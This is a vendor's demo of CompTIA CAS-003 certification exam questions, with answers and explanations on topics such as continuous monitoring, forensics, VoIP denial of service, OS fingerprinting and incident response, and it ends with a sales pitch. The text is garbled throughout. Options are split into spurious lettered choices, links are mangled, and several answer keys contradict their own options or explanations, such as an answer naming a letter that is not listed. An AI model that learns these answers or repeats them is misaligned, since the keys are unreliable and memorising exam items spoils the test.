- B. Security test and evaluation
- C. Risk assessment
- D. Ongoing authorization

Answer: D

Explanation:

Ongoing assessment and authorization is often referred to as continuous monitoring. It is a process

that determines whether the set of deployed security controls in an information system continue to be effective with regards to planned and unplanned changes that occur in the system and its environment over time.

Continuous monitoring allows organizations to evaluate the operating effectiveness of controls on or near a real-time basis. Continuous monitoring enables the

enterprise to detect control failures quickly because it transpires immediately or closely after events in which the key controls are utilized.

Incorrect Answers:

A: Independent verification and validation (IV&V) is executed by a third party organization not involved in the development of a product. This is not considered continuous monitoring of authorized information systems.

B: Security test and evaluation is not considered continuous monitoring of authorized information systems.

C: Risk assessment is the identification of potential risks and threats. It is not considered continuous monitoring of authorized information systems.

References:

<http://www.fedramp.net/ongoing-assessment-and-authorization-continuous-monitoring> [ing-assessment-and](http://www.fedramp.net/ongoing-assessment-and-authorization-continuous-monitoring) [authorization-continuous-monitoring](http://www.fedramp.net/ongoing-assessment-and-authorization-continuous-monitoring)

<https://www.techopedia.com/definition/24836/independent-verification-and-validation>

[iv&v](https://www.techopedia.com/definition/24836/independent-verification-and-validation) [v](https://www.techopedia.com/definition/24836/independent-verification-and-validation)

[and-validation](https://www.techopedia.com/definition/24836/independent-verification-and-validation) [iv&v](https://www.techopedia.com/definition/24836/independent-verification-and-validation)

[iv&v](https://www.techopedia.com/definition/24836/independent-verification-and-validation)

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, pp. 213, 219

NEW QUESTION 189

A software project manager has been provided with a requirement from the customer to place limits on the types of transactions a given user can initiate without external interaction from another user with elevated privileges. This requirement is BEST described as an implementation of:

- A. an administrative control
- B. dual control
- C. separation of duties
- D. least privilege
- E. collusion

Answer: C

Explanation:

Separation of duties requires more than one person to complete a task. Incorrect Answers:

A: Administrative controls refer policies, procedures, guidelines, and other documents used by an organization.

B: Dual control forces employees who are planning anything illegal to work together to complete critical actions.

D: The principle of least privilege prevents employees from accessing levels not required to perform their everyday function.

E: Collusion is defined as an agreement which occurs between two or more persons to deceive, mislead, or defraud others of legal rights.

References:

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, pp. 245, 321

<https://en.wikipedia.org/wiki/Collusion>

NEW QUESTION 192

A user is suspected of engaging in potentially illegal activities. Law enforcement has requested that the user continue to operate on the network as normal. However, they would like to have a copy of any communications from the user involving certain key terms. Additionally, the law enforcement agency has requested that the user's ongoing communication be retained in the user's account for future investigations. Which of the following will BEST meet the goals of law enforcement?

- A. Begin a chain-of-custody on for the user's communication
- B. Next, place a legal hold on the user's email account.
- C. Perform an e-discovery using the applicable search term
- D. Next, back up the user's email for a future investigation.
- E. Place a legal hold on the user's email account
- F. Next, perform e-discovery searches to collect applicable emails.
- G. Perform a back up of the user's email account
- H. Next, export the applicable emails that match the search terms.

Answer: C

Explanation:

A legal hold is a process that an organization uses to maintain all forms of pertinent information when legal action is reasonably expected. E-discovery refers to discovery in litigation or government investigations that manages the exchange of electronically stored information (ESI). ESI includes email and office documents, photos, video, databases, and other filetypes.

Incorrect Answers:

A: Chain of custody (CoC) refers to the chronological documentation showing the seizure, custody, control, transfer, analysis, and disposition of physical or electronic evidence.

B: Potentially relevant data has to be placed on hold before e-discovery takes place. D: This option could still allow the email to be tampered with.

References: https://en.wikipedia.org/wiki/Electronic_discovery#Types_of_ESI https://en.wikipedia.org/wiki/Electronic_discovery#Types_of_ESI

https://en.wikipedia.org/wiki/Chain_of_custody [a.org/wiki/Chain_of_custody](https://en.wikipedia.org/wiki/Chain_of_custody) https://en.wikipedia.org/wiki/Legal_hold

NEW QUESTION 193

Wireless users are reporting issues with the company's video conferencing and VoIP systems. The security administrator notices internal DoS attacks from infected PCs on the network causing the VoIP system to drop calls. The security administrator also notices that the SIP servers are unavailable during these attacks. Which of the following security controls will MOST likely mitigate the VoIP DoS attacks on the network? (Select TWO).

- A. Install a HIPS on the SIP servers
- B. Configure 802.1X on the network
- C. Update the corporate firewall to block attacking addresses
- D. Configure 802.11e on the network
- E. Configure 802.1q on the network

Answer: AD

Explanation:

Host-based intrusion prevention system (HIPS) is an installed software package that will monitor a single host for suspicious activity by analyzing events taking place within that host.

IEEE 802.11e is deemed to be of significant consequence for delay-sensitive applications, such as Voice over Wireless LAN and streaming multimedia.

Incorrect Answers:

B: 802.1X is used by devices to attach to a LAN or WLAN.

C: Updating the corporate firewall will not work as the DoS attacks are from an internal source. E: 802.1q is used for VLAN tagging.

References: [https://en.wikipedia.org/wiki/Hyperlink](#)

"https://en.wikipedia.org/wiki/Intrusion_prevention_system"

https://en.wikipedia.org/wiki/IEEE_802.11e-2005

https://en.wikipedia.org/wiki/IEEE_802.1X https://en.wikipedia.org/wiki/IEEE_802.1Q

NEW QUESTION 194

A company provides on-demand cloud computing resources for a sensitive project. The company implements a fully virtualized datacenter and terminal server access with two-factor authentication for customer access to the administrative website. The security administrator at the company has uncovered a breach in data confidentiality. Sensitive data from customer A was found on a hidden directory within the VM of company B. Company B is not in the same industry as company A and the two are not competitors. Which of the following has MOST likely occurred?

A. Both VMs were left unsecured and an attacker was able to exploit network vulnerabilities to access each and move the data.

B. A stolen two factor token was used to move data from one virtual guest to another host on the same network segment.

C. A hypervisor server was left un-patched and an attacker was able to use a resource exhaustion attack to gain unauthorized access.

D. An employee with administrative access to the virtual guests was able to dump the guest memory onto a mapped disk.

Answer: A

Explanation:

In this question, two virtual machines have been accessed by an attacker. The question is asking what is MOST likely to have occurred.

It is common for operating systems to not be fully patched. Of the options given, the most likely occurrence is that the two VMs were not fully patched allowing an attacker to access each of them. The attacker could then copy data from one VM and hide it in a hidden folder on the other VM. Incorrect Answers:

B: The two VMs are from different companies. Therefore, the two VMs would use different two factor tokens; one for each company. For this answer to be correct, the attacker would have to steal

both two-factor tokens. This is not the most likely answer.

C: Resource exhaustion is a simple denial of service condition which occurs when the resources necessary to perform an action are entirely consumed, therefore preventing that action from taking place. A resource exhaustion attack is not used to gain unauthorized access to a system.

D: The two VMs are from different companies so it can't be an employee from the two companies. It is possible (although unlikely) than an employee from the hosting company had administrative access to both VMs. Even if that were the case, the employee would not dump the memory to a mapped disk to copy the information. With administrative access, the employee could copy the data using much simpler methods.

References: https://www.owasp.org/index.php/Resource_exhaustion

NEW QUESTION 199

Company policy requires that all unsupported operating systems be removed from the network. The security administrator is using a combination of network based tools to identify such systems for the purpose of disconnecting them from the network. Which of the following tools, or outputs from the tools in use, can be used to help the security administrator make an approximate determination of the operating system in use on the local company network? (Select THREE).

A. Passive banner grabbing

B. Password cracker C. [http://www.company.org/documents_private/index.php?search=string#&topic=windows&tcp=pack](http://www.company.org/documents_private/index.php?search=string#&topic=windows&tcp=packet%20capture&cookie=wokdjwalkjcnie61lkasdf2aliser4)

et%20capture&cookie=wokdjwalkjcnie61lkasdf2aliser4

C. 443/tcp open http

D. dig host.company.com

E. 09:18:16.262743 IP (tos 0x0, ttl 64, id 9870, offset 0, flags [none], proto TCP (6), length 40) 192.168.1.3.1051 > 10.46.3.7.80: Flags [none], cksum 0x1800

(correct), win 512, length 0

F. Nmap

Answer: AFG

Explanation:

Banner grabbing and operating system identification can also be defined as fingerprinting the TCP/IP stack. Banner grabbing is the process of opening a connection and reading the banner or response sent by the application.

The output displayed in option F includes information commonly examined to fingerprint the OS. Nmap provides features that include host discovery, as well as service and operating system detection.

Incorrect Answers:

B: A password cracker is used to recover passwords from data that have been stored in or transmitted by a computer system.

C: This answer is invalid as port 443 is used for HTTPS, not HTTP.

D: This web address link will not identify unsupported operating systems for the purpose of disconnecting them from the network.

E: The dig (domain information groper) command is a network administration command-line tool for

querying Domain Name System (DNS) name servers. References: [https://en.wikipedia.org/wiki/Dig_\(command\)](https://en.wikipedia.org/wiki/Dig_(command)) https://en.wikipedia.org/wiki/Password_cracking

https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers

"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers"

<http://luizfirmينو.blogspot.co.za/2011/07/understand-banner-grabb>

<http://luizfirmينو.blogspot.co.za/2011/07/understand-banner-grabbing-usingos.html?view=classic>

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, pp. 174, 175

NEW QUESTION 202

In a situation where data is to be recovered from an attacker's location, which of the following are the FIRST things to capture? (Select TWO).

A. Removable media

B. Passwords written on scrap paper

C. Snapshots of data on the monitor

D. Documents on the printer

E. Volatile system memory

F. System hard drive

Answer: CE

Explanation:

An exact copy of the attacker's system must be captured for further investigation so that the original data can remain unchanged. An analyst will then start the process of capturing data from the most volatile to the least volatile.

The order of volatility from most volatile to least volatile is as follows: Data in RAM, including CPU cache and recently used data and applications Data in RAM, including system and network processes

Swap files (also known as paging files) stored on local disk drives Data stored on local disk drives

Logs stored on remote systems Archive media

Incorrect Answers:

A: Removable media is not regarded as volatile data.

B: Passwords written on scrap paper is not regarded as volatile data. D: Documents on the printer is not regarded as volatile data.

F: Data stored on the system hard drive is lower in the order of volatility compared to system memory.

References:

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, pp. 250-254

<http://blogs.getcertifiedgetahead.com/security-forensic-pHYPERLINK> "<http://blogs.getcertifiedgetahead.com/security-forensic-performance-basedquestion/>"

erformaHYPERLINK "<http://blogs.getcertifiedgetahead.com/security-forensicperformance-based-question/>"nce-based-question/

NEW QUESTION 204

The DLP solution has been showing some unidentified encrypted data being sent using FTP to a remote server. A vulnerability scan found a collection of Linux servers that are missing OS level patches. Upon further investigation, a technician notices that there are a few unidentified processes running on a number of the servers. What would be a key FIRST step for the data security team to undertake at this point?

- A. Capture process ID data and submit to anti-virus vendor for review.
- B. Reboot the Linux servers, check running processes, and install needed patches.
- C. Remove a single Linux server from production and place in quarantine.
- D. Notify upper management of a security breach.
- E. Conduct a bit level image, including RAM, of one or more of the Linux server

Answer: E

Explanation:

Incident management (IM) is a necessary part of a security program. When effective, it mitigates business impact, identifies weaknesses in controls, and helps fine-tune response processes.

In this question, an attack has been identified and confirmed. When a server is compromised or used to commit a crime, it is often necessary to seize it for forensics analysis. Security teams often face two challenges when trying to remove a physical server from service: retention of potential evidence in volatile storage or removal of a device from a critical business process.

Evidence retention is a problem when the investigator wants to retain RAM content. For example, removing power from a server starts the process of mitigating business impact, but it also denies forensic analysis of data, processes, keys, and possible footprints left by an attacker.

A full a bit level image, including RAM should be taken of one or more of the Linux servers. In many cases, if your environment has been deliberately attacked, you may want to take legal action against the perpetrators. In order to preserve this option, you should gather evidence that can be used

against them, even if a decision is ultimately made not to pursue such action. It is extremely important to back up the compromised systems as soon as possible.

Back up the systems prior to performing any actions that could affect data integrity on the original media.

Incorrect Answers:

A: Capturing process ID data and submitting it to anti-virus vendor for review would not be the first step. Furthermore, it is unlikely that a virus is the cause of the problem on the LINUX servers. It is much more likely that the missing OS level patches left the systems vulnerable.

B: Rebooting the Linux servers would lose the contents of the running RAM. This may be needed for litigation so a full backup including RAM should be taken first. Then the servers can be cleaned and patched.

C: Removing a single Linux server from production and placing it in quarantine would probably involve powering off the server. Powering off the server would lose the contents of the running RAM. This may be needed for litigation so a full backup including RAM should be taken first.

D: Notifying upper management of a security breach probably should be done after the security breach is contained. You should follow standard incident management procedures first. Reporting on the incident is one of the later steps in the process.

References:

<http://whatis.techtarget.com/reference/FiHYPERLINK> "<http://whatis.techtarget.com/reference/Five-Steps-to-Incident-Management-in-a-Virtualized-Environment>"ve-Steps-to-Incident-Management-in-a-

Virtualized-Environment

<https://technet.microsoft.com/enhttps://certkingdom.com>

us/library/cc700825.aspx"rosoft.com/en-us/library/cc700825.aspx

NEW QUESTION 205

A new web based application has been developed and deployed in production. A security engineer decides to use an HTTP interceptor for testing the application. Which of the following problems would MOST likely be uncovered by this tool?

- A. The tool could show that input validation was only enabled on the client side
- B. The tool could enumerate backend SQL database table and column names
- C. The tool could force HTTP methods such as DELETE that the server has denied
- D. The tool could fuzz the application to determine where memory leaks occur

Answer: A

Explanation:

A HTTP Interceptor is a program that is used to assess and analyze web traffic thus it can be used to indicate that input validation was only enabled on the client side.

Incorrect Answers:

B: Assessing and analyzing web traffic is not used to enumerate backend SQL database tables and column names.

C: HTTP methods such as Delete that the server has denied are not performed by the HTTP interceptor.

D: Application fuzzing is not performed by the HTTP interceptor tool. References:

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, p. 181

NEW QUESTION 208

A security consultant is conducting a network assessment and wishes to discover any legacy backup Internet connections the network may have. Where would the consultant find this information and why would it be valuable?

- A. This information can be found in global routing tables, and is valuable because backup connections typically do not have perimeter protection as strong as the primary connection.
- B. This information can be found by calling the regional Internet registry, and is valuable because backup connections typically do not require VPN access to the network.
- C. This information can be found by accessing telecom billing records, and is valuable because backup connections typically have much lower latency than primary connections.
- D. This information can be found by querying the network's DNS servers, and is valuable because backup DNS servers typically allow recursive queries from Internet hosts.

Answer: A

Explanation:

A routing table is a set of rules, often viewed in table format that is used to determine where data packets traveling over an Internet Protocol (IP) network will be directed. All IP-enabled devices, including routers and switches, use routing tables. Each packet contains information about its origin and destination. When a packet is received, a network device examines the packet and matches it to the routing table entry providing the best match for its destination. The table then provides the device with instructions for sending the packet to the next hop on its route across the network. Thus the security consultant can use the global routing table to get the appropriate information.

Incorrect Answers:

B: Calling the regional Internet registry will not provide you with the correct information.

C: The telecom billing information will not have information as to whether the legacy backup may have Internet connections on the network.

D: DNS server queries are used to resolve the name with each query message containing a DNS domain name, a specified query type and a specified class. This is not what the security consultant requires.

References:

[https://technet.microsoft.com/en-us/HYPERLINK \"https://technet.microsoft.com/enus/ library/cc958823.aspx\"library/cc958823.aspx](https://technet.microsoft.com/en-us/HYPERLINK \)

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, pp. 60-66

NEW QUESTION 213

The security engineer receives an incident ticket from the helpdesk stating that DNS lookup requests are no longer working from the office. The network team has ensured that Layer 2 and Layer 3 connectivity are working. Which of the following tools would a security engineer use to make sure the DNS server is listening on port 53?

- A. PING
- B. NESSUS
- C. NSLOOKUP
- D. NMAP

Answer: D

Explanation:

NMAP works as a port scanner and is used to check if the DNS server is listening on port 53. Incorrect Answers:

A: PING is in essence a network administration tool that is used to test the reachability of a host. B: NESSUS is used as a vulnerability scanner.

C: NSLOOKUP is a tool used for querying the Domain Name System (DNS) to obtain domain name or IP address mapping or for any other specific DNS record.

References:

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, pp. 172-173, 396

NEW QUESTION 215

Joe is a security architect who is tasked with choosing a new NIPS platform that has the ability to perform SSL inspection, analyze up to 10Gbps of traffic, can be centrally managed and only reveals inspected application payload data to specified internal security employees. Which of the following steps should Joe take to reach the desired outcome?

- A. Research new technology vendors to look for potential product
- B. Contribute to an RFP and then evaluate RFP responses to ensure that the vendor product meets all mandatory requirement
- C. Test the product and make a product recommendation.
- D. Evaluate relevant RFC and ISO standards to choose an appropriate vendor product
- E. Research industry surveys, interview existing customers of the product and then recommend that the product be purchased.
- F. Consider outsourcing the product evaluation and ongoing management to an outsourced provider on the basis that each of the requirements are met and a lower total cost of ownership (TCO) is achieved.
- G. Choose a popular NIPS product and then consider outsourcing the ongoing device management to a cloud provide
- H. Give access to internal security employees so that they can inspect the application payload data.
- I. Ensure that the NIPS platform can also deal with recent technological advancements, such as threats emerging from social media, BYOD and cloud storage prior to purchasing the product.

Answer: A

Explanation:

A request for a Proposal (RFP) is in essence an invitation that you present to vendors asking them to submit proposals on a specific commodity or service. This should be evaluated, then the product should be tested and then a product recommendation can be made to achieve the desired outcome. Incorrect Answers:

B: A RFC is a request for comments and this is not what is required since you need to evaluate the new technology.

C: Issues involved that has to be taken into account when outsourcing will not help Joe make a decision as to which new NIPS platform to choose.

D: Making a choice of using the most popular NIPS is not going to ensure that all the conditions will be met.

E: One of the conditions that must be met by the new NIPS platform is central management and his options do not satisfy that condition.

References:

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, pp. 197-198, 297

NEW QUESTION 218

The helpdesk is receiving multiple calls about slow and intermittent Internet access from the finance department. The following information is compiled: Caller 1, IP 172.16.35.217, NETMASK 255.255.254.0

Caller 2, IP 172.16.35.53, NETMASK 255.255.254.0

Caller 3, IP 172.16.35.173, NETMASK 255.255.254.0

All callers are connected to the same switch and are routed by a router with five built-in interfaces. The upstream router interface's MAC is 00-01-42-32-ab-1a

A packet capture shows the following:

09:05:15.934840 arp reply 172.16.34.1 is-at 00:01:42:32:ab:1a (00:01:42:32:ab:1a)

09:06:16.124850 arp reply 172.16.34.1 is-at 00:01:42:32:ab:1a (00:01:42:32:ab:1a)

09:07:25.439811 arp reply 172.16.34.1 is-at 00:01:42:32:ab:1a (00:01:42:32:ab:1a)

09:08:10.937590 IP 172.16.35.1 > 172.16.35.255: ICMP echo request, id 2305, seq 1, length 65534

09:08:10.937591 IP 172.16.35.1 > 172.16.35.255: ICMP echo request, id 2306, seq 2, length 65534

09:08:10.937592 IP 172.16.35.1 > 172.16.35.255: ICMP echo request, id 2307, seq 3, length 65534

Which of the following is occurring on the network?

- A. A man-in-the-middle attack is underway on the network.
- B. An ARP flood attack is targeting at the router.
- C. The default gateway is being spoofed on the network.
- D. A denial of service attack is targeting at the route

Answer: D

Explanation:

The above packet capture shows an attack where the attacker is busy consuming your resources (in this case the router) and preventing normal use. This is thus a Denial Of Service Attack.

Incorrect Answers:

A: A man-in-the-middle attack is when an attacker intercepts and perhaps changes the data that is transmitted between two users. The packet capture is not indicative of a man-in-the-middle attack. B: With an ARP flood attack thousands of spoofed data packets with different physical addresses are sent to a device. This is not the case here.

C: A gateway being spoofed show up as any random number that the attacker feels like listing as the caller. This is not what is exhibited in this case.

References:

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, p. 286

NEW QUESTION 221

The following has been discovered in an internally developed application: Error - Memory allocated but not freed:

```
char *myBuffer = malloc(BUFFER_SIZE); if (myBuffer != NULL) {  
*myBuffer = STRING_WELCOME_MESSAGE; printf("Welcome to: %s\n", myBuffer);  
}  
exit(0);
```

Which of the following security assessment methods are likely to reveal this security weakness? (Select TWO).

- A. Static code analysis
- B. Memory dumping
- C. Manual code review
- D. Application sandboxing
- E. Penetration testing
- F. Black box testing

Answer: AC

Explanation:

A Code review refers to the examination of an application (the new network based software product in this case) that is designed to identify and assess threats to the organization.

Application code review – whether manual or static will reveal the type of security weakness as shown in the exhibit.

Incorrect Answers:

B: Memory dumping is a penetration test. Applications work by storing information such as sensitive data, passwords, user names and encryption keys in the memory. Conducting memory dumping will allow you to analyze the memory content. You already have the memory content that you require in this case.

D: Application Sandboxing is aimed at detecting malware code by running it in a computer-based system to analyze it for behavior and traits that indicates malware. Application sandboxing refers to the process of writing files to a temporary storage area (the so-called sandbox) so that you limit the ability of possible malicious code to execute on your computer.

E: Penetration testing is designed to simulate an attack. This is not what is required in this case. F: Black box testing is used when the security team is provided with no knowledge of the system, network, or application. In this case the code of the application is already available.

References:

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, pp. 168-169, 174

NEW QUESTION 226

A completely new class of web-based vulnerabilities has been discovered. Claims have been made that all common web-based development frameworks are susceptible to attack. Proof-of-concept details have emerged on the Internet. A security advisor within a company has been asked to provide recommendations on how to respond quickly to these vulnerabilities. Which of the following BEST describes how the security advisor should respond?

- A. Assess the reliability of the information source, likelihood of exploitability, and impact to hosted data
- B. Attempt to exploit via the proof-of-concept code
- C. Consider remediation options.
- D. Hire an independent security consulting agency to perform a penetration test of the web server
- E. Advise management of any 'high' or 'critical' penetration test findings and put forward recommendations for mitigation.
- F. Review vulnerability write-ups posted on the Internet
- G. Respond to management with a recommendation to wait until the news has been independently verified by software vendors providing the web application software.
- H. Notify all customers about the threat to their hosted data
- I. Bring the web servers down into "maintenance mode" until the vulnerability can be reliably mitigated through a vendor patch

Answer: A

Explanation:

The first thing you should do is verify the reliability of the claims. From there you can assess the likelihood of the vulnerability affecting your systems. If it is determined that your systems are likely to be affected by the exploit, you need to determine what impact an attack will have on your hosted data.

A. Now that you know what the impact will be, you can test the exploit by using the proof-of-concept code. That should help you determine your options for dealing with the threat (remediation). Incorrect Answers:

B: While penetration testing your system is a good idea, it is unnecessary to hire an independent security consulting agency to perform a penetration test of the web servers. You know what the vulnerability is so you can test it yourself with the proof-of-concept code.

C: Security response should be proactive. Waiting for the threat to be verified by the software vendor will leave the company vulnerable if the vulnerability is real.

D: Bringing down the web servers would prevent the vulnerability but would also render the system useless. Furthermore, customers would expect a certain level of service and may even have a service level agreement in place with guarantees of uptime.

References:

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, pp. 375-376

NEW QUESTION 231

The helpdesk department desires to roll out a remote support application for internal use on all company computers. This tool should allow remote desktop sharing, system log gathering, chat, hardware logging, inventory management, and remote registry access. The risk management team has been asked to review vendor responses to the RFQ. Which of the following questions is the MOST important?

- A. What are the protections against MITM?
- B. What accountability is built into the remote support application?
- C. What encryption standards are used in tracking database?
- D. What snapshot or “undo” features are present in the application?
- E. What encryption standards are used in remote desktop and file transfer functionality?

Answer: B

Explanation:

Incorrect Answers:

- A: Man-in-the-Middle (MitM) attacks are carried out when an attacker places himself between the sender and the receiver in the communication path, where they can intercept and modify the communication. However, the risk of a MITM is slim whereas the support staff WILL be accessing personal information.
- C: Database encryption to prevent unauthorized access could be important (depending on other security controls in place). However, the risk of an unauthorized database access is slim whereas the support staff WILL be accessing personal information.
- D: What snapshot or “undo” features are present in the application is a relatively unimportant question. The application may have no snapshot or “undo” features. Accounting for data access is more important than the risk of support user wanting to undo a mistake.
- E: Encryption to prevent against MITM or packet sniffing attacks is important. However, the risk of such attacks is slim whereas the support staff WILL be accessing personal information. This makes the accountability question more important.

References: https://www.priv.gc.ca/information/guide/2012/gl_acc_201204_e.asp

"https://www.priv.gc.ca/information/guide/2012/gl_acc_201204_e.asp"c.ca/information/guide/2012/gl_acc_201204_e.asp2/gl_acc_201204_e.asp

NEW QUESTION 234

.....

THANKS FOR TRYING THE DEMO OF OUR PRODUCT

Visit Our Site to Purchase the Full Set of Actual CAS-003 Exam Questions With Answers.

We Also Provide Practice Exam Software That Simulates Real Exam Environment And Has Many Self-Assessment Features. Order the CAS-003 Product From:

<https://www.2passeasy.com/dumps/CAS-003/>

Money Back Guarantee

CAS-003 Practice Exam Features:

- * CAS-003 Questions and Answers Updated Frequently
- * CAS-003 Practice Questions Verified by Expert Senior Certified Staff
- * CAS-003 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- * CAS-003 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year